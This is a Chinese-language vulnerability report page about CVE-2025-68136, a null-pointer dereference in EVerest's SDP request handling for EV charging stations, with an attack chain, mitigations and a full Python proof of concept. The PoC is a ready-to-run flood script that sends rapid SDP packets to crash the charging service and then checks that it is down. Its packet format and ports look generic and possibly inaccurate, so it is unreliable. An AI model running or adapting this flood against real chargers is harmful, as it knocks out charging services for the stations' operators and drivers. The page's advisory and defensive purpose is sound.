IPBUF安全漏洞报告
English
CVE-2025-68136 CVSS 7.4 高危

CVE-2025-68136: EVerest SDP请求处理空指针解引用漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-68136
漏洞类型
空指针解引用/内存管理错误
CVSS评分
7.4 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest/everest-core

相关标签

CVE-2025-68136空指针解引用内存管理错误EVerest电动汽车充电SDP协议ISO15118-20邻接网络攻击高危漏洞use-after-free

漏洞概述

CVE-2025-68136是EVerest电动汽车充电软件栈中的一个高危安全漏洞,CVSS评分达到7.4分。该漏洞存在于EVerest的SDP(Service Discovery Protocol)请求处理模块中。在2025.10.0版本之前,当模块接收到SDP请求时,会创建新的Session、IConnection等对象,这些对象会为ISO15118-20通信协议打开新的TCP套接字并注册文件描述符回调。然而,系统未能正确关闭和销毁之前的对象,导致之前的Session指针丢失,unique_ptr的使用被破坏,连接数据被销毁。当使用的套接字和文件描述符不是最后一个时,将触发空指针解引用漏洞,可能导致服务崩溃或可用性中断。此漏洞无需认证即可利用,攻击复杂度低,存在于邻接网络环境中。

技术细节

EVerest的SDP请求处理机制存在严重的内存管理缺陷。当接收到新的SDP请求时,系统执行以下有问题的操作流程:首先创建全新的Session对象用于处理新的通信会话;接着创建IConnection对象并建立新的TCP套接字连接用于ISO15118-20协议通信;然后为新创建的文件描述符注册回调处理函数。关键问题在于,系统在创建新对象的过程中,完全忽略了对已存在对象的清理工作。旧的Session对象指针未被保存,unique_ptr的所有权被覆盖导致原有连接资源被提前销毁,但相关的文件描述符可能仍被引用。这造成了一个典型的use-after-free和空指针解引用场景。当多个SDP请求快速连续到达时,多个文件描述符被创建但管理混乱,后续对已销毁对象的访问将触发空指针解引用。由于可用性影响为高,攻击可导致电动汽车充电服务完全不可用。攻击者位于邻接网络(如充电站局域网)即可发起攻击,无需任何认证或用户交互。

攻击链分析

STEP 1
步骤1: 网络侦察
攻击者对电动汽车充电站网络进行扫描,识别运行EVerest软件的目标设备及其SDP服务端口
STEP 2
步骤2: 构造恶意SDP请求
攻击者构造特殊的SDP请求数据包,用于触发EVerest模块创建新的Session和IConnection对象
STEP 3
步骤3: 快速连续发送请求
攻击者向目标发送多个快速连续的SDP请求,在每个请求处理时创建新的通信对象但不销毁旧对象
STEP 4
步骤4: 触发内存管理错误
由于旧的Session对象指针丢失、unique_ptr被覆盖,之前的连接数据被销毁,但文件描述符仍被引用
STEP 5
步骤5: 空指针解引用触发
当程序尝试访问已销毁对象的文件描述符时,触发空指针解引用,导致进程崩溃或服务中断
STEP 6
步骤6: 可用性影响
电动汽车充电服务完全不可用,充电过程被中断,可能造成经济损失和服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68136 PoC - EVerest SDP Request Memory Corruption This PoC demonstrates sending multiple rapid SDP requests to trigger the null pointer dereference in EVerest's SDP handler. Note: This is for educational/testing purposes only. """ import socket import struct import time from typing import List def create_sdp_request(msg_type: int, seq_num: int) -> bytes: """Create a malformed SDP request packet.""" # SDP header structure header = struct.pack('!BBH', 0x01, msg_type, seq_num) # SDP payload with specific values to trigger the vulnerability payload = b'\x00' * 16 # Padding to trigger object creation return header + payload def send_sdp_flood(target_ip: str, target_port: int, count: int = 100): """ Send rapid SDP requests to trigger memory management bug. Args: target_ip: Target EVerest server IP target_port: SDP service port (typically 8849 or 8847) count: Number of rapid requests to send """ print(f"[*] Starting SDP flood attack against {target_ip}:{target_port}") print(f"[*] Sending {count} rapid SDP requests...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.settimeout(5) sock.connect((target_ip, target_port)) for i in range(count): try: sdp_packet = create_sdp_request(msg_type=0x01, seq_num=i) sock.send(sdp_packet) time.sleep(0.001) # Rapid requests to trigger race condition if i % 10 == 0: print(f"[+] Sent {i} requests...") except Exception as e: print(f"[!] Error sending request {i}: {e}") break print("[*] Flood complete. Check for service availability.") except ConnectionRefusedError: print("[!] Connection refused - target may not be running EVerest SDP service") except Exception as e: print(f"[!] Connection error: {e}") finally: sock.close() def check_service_availability(target_ip: str, target_port: int) -> bool: """Check if EVerest SDP service is still responding.""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) try: sock.connect((target_ip, target_port)) # Send a normal SDP request sock.send(create_sdp_request(msg_type=0x01, seq_num=0)) response = sock.recv(1024) return len(response) > 0 except: return False finally: sock.close() if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2025-68136 PoC") parser.add_argument("--target", default="192.168.1.100", help="Target IP") parser.add_argument("--port", type=int, default=8849, help="Target port") parser.add_argument("--count", type=int, default=100, help="Number of requests") args = parser.parse_args() print("=" * 60) print("CVE-2025-68136: EVerest SDP Null Pointer Dereference PoC") print("=" * 60) # Check initial availability print("[*] Checking initial service availability...") if check_service_availability(args.target, args.port): print("[+] Service is initially available") else: print("[!] Service is not responding or not available") # Send attack send_sdp_flood(args.target, args.port, args.count) # Check if service is down time.sleep(2) print("[*] Checking service availability after attack...") if check_service_availability(args.target, args.port): print("[+] Service is still available (target may be patched)") else: print("[!] Service is DOWN - vulnerability confirmed!")

影响范围

EVerest everest-core < 2025.10.0

防御指南

临时缓解措施
如果无法立即升级到修复版本,可以采取以下临时缓解措施:1) 在网络层实施SDP服务的访问控制,限制只有可信设备可以访问;2) 部署入侵检测系统监控异常的SDP请求模式;3) 配置防火墙规则限制来自邻接网络的SDP流量;4) 考虑使用网络隔离技术将充电站控制系统与其他网络分离;5) 监控充电服务的可用性指标,一旦发现异常立即告警并启动应急响应流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表